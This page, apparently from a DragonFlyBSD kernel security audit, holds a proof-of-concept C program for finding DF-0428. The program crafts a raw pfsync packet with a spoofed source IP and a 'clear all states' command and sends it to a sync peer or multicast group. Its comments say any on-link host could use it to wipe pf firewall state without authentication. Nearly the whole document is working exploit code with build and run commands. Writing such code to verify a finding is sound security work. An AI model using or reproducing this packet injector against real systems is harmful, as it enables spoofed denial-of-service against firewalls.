โฌข DragonFlyBSD Kernel Audit
DF-0428 / inject_pfsync.c
โ† back to finding โ†“ download raw
/*
 * inject_pfsync.c โ€” send a crafted IPPROTO_PFSYNC(240) packet.
 *
 * Demonstrates the DF-0428 claim: build a pfsync CLR (clear-all-states)
 * message from an arbitrary spoofed source IP, with TTL=255, and send it
 * to the configured sync peer / multicast group over a raw socket.
 *
 * If pfsync_input were live, the receiver would clear every pf state
 * whose creatorid matches the one we set in the CLR payload. We watch
 * the pfsyncstats counters (pfsyncs_ipackets / pfsyncs_badif / ...) to
 * detect whether the packet ever reached the handler.
 *
 * Usage: inject_pfsync <src-ip> <dst-ip> <creatorid-hex>
 * Build: cc -o inject_pfsync inject_pfsync.c
 * Run:   ./inject_pfsync 10.0.2.99 224.0.0.240 0xdeadbeef
 *
 * Requires root (raw socket). The point of DF-0428 is that NO
 * authentication of <src-ip> is performed โ€” any on-link host may spoof.
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

#include <net/pf/if_pfsync.h>

#define PFSYNC_GROUP "224.0.0.240"

static u_int16_t
cksum(const void *data, int len)
{
    const u_int16_t *p = data;
    u_int32_t sum = 0;
    while (len > 1) { sum += *p++; len -= 2; }
    if (len) sum += *(const u_int8_t *)p;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (u_int16_t)~sum;
}

int
main(int argc, char **argv)
{
    int s, on = 1;
    struct sockaddr_in dst;
    unsigned int creatorid;

    if (argc != 4) {
        fprintf(stderr, "usage: %s <src-ip> <dst-ip> <creatorid-hex>\n",
                argv[0]);
        return 2;
    }
    if (sscanf(argv[3], "%x", &creatorid) != 1)
        errx(1, "creatorid");

    /*
     * Build: IP header (20B) + pfsync_header (28B) + pfsync_state_clr
     * (pfsync.h: struct pfsync_state_clr { u_int8_t ifname[IFNAMSIZ];
     * u_int32_t creatorid; }).
     */
    struct {
        struct ip          ip;
        struct pfsync_header ph;
        struct pfsync_state_clr clr;
    } __packed pkt;

    memset(&pkt, 0, sizeof(pkt));

    /* IP header */
    pkt.ip.ip_v   = 4;
    pkt.ip.ip_hl  = sizeof(struct ip) >> 2;
    pkt.ip.ip_tos = 0;
    pkt.ip.ip_len = htons(sizeof(pkt));
    pkt.ip.ip_id  = htons(0x1234);
    pkt.ip.ip_off = 0;
    pkt.ip.ip_ttl = PFSYNC_DFLTTL;          /* 255 โ€” the only "check" */
    pkt.ip.ip_p   = IPPROTO_PFSYNC;          /* 240 */
    pkt.ip.ip_sum = 0;
    inet_pton(AF_INET, argv[1], &pkt.ip.ip_src);
    inet_pton(AF_INET, argv[2], &pkt.ip.ip_dst);
    pkt.ip.ip_sum = cksum(&pkt.ip, sizeof(pkt.ip));

    /* pfsync header */
    pkt.ph.version = PFSYNC_VERSION;         /* 4 */
    pkt.ph.af      = AF_INET;
    pkt.ph.action  = PFSYNC_ACT_CLR;         /* 0 โ€” clear all states */
    pkt.ph.count   = 1;
    memset(pkt.ph.pf_chksum, 0, sizeof(pkt.ph.pf_chksum));

    /* CLR payload: ifname="" (means "all interfaces"), creatorid */
    memset(pkt.clr.ifname, 0, sizeof(pkt.clr.ifname));
    pkt.clr.creatorid = htonl(creatorid);

    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) err(1, "socket(IPPROTO_RAW)");
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
        err(1, "IP_HDRINCL");

    /* bind to vtnet0 so the packet egresses (and is looped) on the right ifp */
    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    inet_pton(AF_INET, argv[2], &dst.sin_addr);

    ssize_t n = sendto(s, &pkt, sizeof(pkt), 0,
                       (struct sockaddr *)&dst, sizeof(dst));
    if (n < 0) err(1, "sendto");

    printf("sent %zd bytes: %s -> %s  proto=240 ttl=255 act=CLR creatorid=0x%x\n",
           n, argv[1], argv[2], creatorid);
    close(s);
    return 0;
}